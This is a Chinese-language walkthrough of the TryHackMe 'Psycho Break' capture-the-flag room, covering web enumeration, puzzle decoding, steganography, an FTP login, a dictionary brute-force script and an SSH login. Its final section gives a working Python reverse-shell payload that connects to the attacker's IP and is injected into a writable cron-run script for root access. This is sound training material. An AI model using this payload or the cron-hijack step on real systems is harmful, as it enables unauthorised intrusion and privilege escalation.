Psycho Break| Writeup | TryHackMe
Psycho Break| Writeup | TryHackMe
一、信息收集
- 使用nmap扫描ip开放端口
nmap -sS -sV -A 10.10.150.108
- 使用dirsearch扫描网站隐藏目录
dirsearch -u http://10.10.150.108 -w /usr/share/wordlists/dirb/common.txt -t 50
- 访问网站右键查看源代码发现了一个隐藏的页面
/sadistRoom
看看里面有什么
- 恶灵附身第一关的屠夫,想当被屠夫拿电锯被追的紧迫感到现在还能想起,先不管了,看看钥匙看看
- 浏览器给了一个弹窗给我们
532219a04ab7a02b56faafbec1a4c1ea
- 点击确定后,我们会进入这个房间如果一段时间没有逃离房间会被显示塞巴斯蒂安死亡,这里点击
Go to Locker Room
输入上面的钥匙后就能前往更衣室
偷偷告诉你,躲在床下引诱那个屠夫过来,在他背后捅他18刀就变成绿色浓液了
- 这里提示我们map的access key 是需要对
Tizmg_nv_zxxvhh_gl_gsv_nzk_kovzhv
解码
这个是这串是 Atbash 密码(把字母表反转)解出来是:
Grant_me_access_to_the_map_please
为什么是 Atbash?
- 观察到像
gl
这类短词,很可能是to
/of
/is
之类常见短词; - 字母间的关系看上去像字母表对称(A↔Z, B↔Y …),这就是 Atbash 的特征。
- 进入map.php 这输入我们刚刚解码的key
- 然后给我们列出来刚刚我们进入的房间列表,前面两个进去过了,现在去第三个房间里面看看有什么
- 这里是塞巴斯蒂安的安全屋
- 我们查看右键源代码这里提示了一段文字
我觉得我正在做一个可怕的噩梦。搜寻我的内心,找到它。
....E 不知道什么意思
- 然后我翻了一下css文件,在这里我发现了一个加密的base64代码里面写着background 这里应该就是安全屋里面的那些图片了
- 下载到本地发现这些图片全是加密过的,我又回去看了一下那个提示的英文,将他丢到了翻译软件里面
我觉得我正在做一个可怕的噩梦。搜索我,找到它……
这里告诉我 搜索我,不是搜索内心,原来是提示我们进行目录扫描
使用dirsearch对这个url进行目录扫描,但是我使用了好几个字典都没有爆破出来字典,看了一下wp结果那个目录的名字叫做keeper,我们接下来去访问一下
- 点击按钮后有来到了一个房间,
- 右键查看源代码,说要找到这个得去谷歌上面
在谷歌上面找了发现了,输入完成后拿到了key
St. Augustine Lighthouse
48ee41458eb0b43bf82b986cecf3af01
- 再次回到map.php进入废弃的房间
- 告诉我们输入守门人的key,点击Go Futher
- 到了一个房间,右键查看源代码
- 提示我们页面上面有个叫shell的东西能帮我离开这里
- 很显然是个命令执行
- 这里本来想反弹shell的但是命令给禁止了,通过ls ..我们看到了上机目录 然后里面给了类似路径的东西
- 将路径名替换看看
- 有一个文件和zip包
二、帮帮我
查看了那个文本文件里面没什么东西,重点看看那个zip包 下载到本地 解压
- 看一下文件大致意思是
来自 Joseph 的信息:
谁看到这个消息
"HELP Me"
的人,请注意。Ruvik 把我关在这个房间里。钥匙在桌子上,用它把我关的房间打开。我出来之后会告诉你发生了什么。
桌子上的钥匙,刚好解压出来有个table.jpg图片,我们使用binwakl对图片进行查看
- 这图片里面还有一个图片和一个key,将图片重名,解压拿到里面的东西
这个音频是个摩斯密码https://morsecode.world/international/decoder/audio-decoder-adaptive.html
解答出来是 SHOWME
- 使用命令提取图片里面的信息
steghide extract -sf Joseph_Oda.jpg -p SHOWME
- 里面有ftp的账号密码
SER : joseph
PASSWORD : intotheterror445
三、把他打开
使用ftp连接 下载里面的文件
给这个program程序添加执行权限然后运行,提示我们要输入单词 在随便输入了一个单词后 失败 这里应该是要输入特定的单词 我们看看另外一个文件
这个random.dic想一个字典文件
在网上找了一个python脚本运行此文件
cat > hack.py <<'PY'
#!/usr/bin/env python3
import subprocess
import sys
import os
if not os.path.exists("random.dic"):
print("random.dic not found", file=sys.stderr)
sys.exit(1)
with open("random.dic", "r", encoding="utf-8", errors="ignore") as f:
for line in f:
key = line.rstrip("\r\n")
if not key:
continue
print(key)
subprocess.run(["./program", key])
PY
chmod +x hack.py
python3 ./hack.py
没看懂这个解码后的密码·是什么拿去ai问了一下说是手机多次按键(multi-tap / T9 的按键输入) 编码。把每组相同数字按键映射回字母后 是我过时了
KIDMAN'S PASSWORD IS SO STRANGE
(也可以写成无标点的
KIDMANSPASSWORDISSOSTRANGE
)
这个大写的因为字母说 kidman的密码太奇怪了 尝试登录一下ssh 用kidman做用户名用KIDMANSPASSWORDISSOSTRANGE
作为密码
成功登录
四、前往捕获旗帜
尝试sudo -l 报错不允许以 sudo 运行任何命令 看看计划任务有什么
在这里我们可以看到有一个 Python 脚本正在运行,该脚本存储在 /var/.the_eye_of_ruvik.py
。我们可以检查是否可以编辑此文件,如果可以,我们可以修改它并为我们所用
我们在脚本里面添加上我们的反弹shell的命令
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.17.35.134",4444));os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
然后新建终端监听4444端口即可拿到shell
奖励任务是删除用户 ruvik